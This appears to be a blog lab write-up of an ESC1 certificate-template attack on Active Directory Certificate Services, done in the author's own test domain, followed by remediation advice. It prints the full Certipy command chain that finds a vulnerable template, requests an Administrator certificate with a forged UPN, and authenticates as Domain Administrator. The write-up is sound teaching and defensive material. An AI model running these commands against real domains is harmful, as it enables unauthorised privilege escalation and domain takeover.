Summary
What is AD CS? Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services. If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading to privilege escalation. In this lab, I exploited an ESC1 certificate template misconfiguration. Lab Setup
- Domain: LAB.LOCAL
- Domain Controller: 192.168.56.104
- Certificate Authority: lab-DC1-CA
- Attacker: bob Step 1 — Enumerate AD CS First, I looked for vulnerable certificate templates using Certipy. certipy-ad find -u bob@lab.local -p ‘password@123’ -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug Certipy identified a vulnerable template named: ESC1-Lab This template allowed the requester to specify an arbitrary User Principal Name (UPN). Step 2 — Request an Administrator Certificate Since the template was vulnerable, I requested a certificate while impersonating the Administrator account. certipy-ad req -u bob@lab.local -p ‘Password@123’ -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104 Certipy successfully issued an Administrator certificate and saved it as: administrator.pfx Step 3 — Authenticate as Administrator Finally, I authenticated using the issued certificate. certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104 Authentication succeeded, allowing me to impersonate the Domain Administrator without ever knowing the Administrator’s password. Why Did This Work? The certificate template was vulnerable to ESC1 because it:
- Allowed users to enroll.
- Allowed the requester to supply any UPN.
- Was trusted for client authentication. This meant Bob could request a certificate for Administrator@lab.local and authenticate as that user. How to Fix It To prevent ESC1 attacks: Get Aruvasaga chithan A’s stories in your inbox Join Medium for free to get updates from this writer. 1.Disable “Supply in the request” unless absolutely necessary.
- Restrict enrollment permissions to trusted users.
- Review certificate templates regularly.
- Remove unnecessary Client Authentication EKUs.
- Audit AD CS with tools like Certipy and BloodHound. Verify the Fix Run the enumeration again. certipy-ad find -u bob@lab.local -p ‘password@123’ -dc-ip 192.168.56.104 -vulnerable If the template is properly secured, ESC1-Lab should no longer appear as vulnerable. Key Takeaways
- Regularly audit AD CS templates.
- Follow the principle of least privilege.
- Restrict certificate enrollment permissions.
- Monitor certificate enrollment events. Disclaimer: This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization. — Written by Aruvasaga Chithan A Ethical Hacker & Cyber Security Researcher. Thanks for reading — your support keeps me writing. See you in the next article…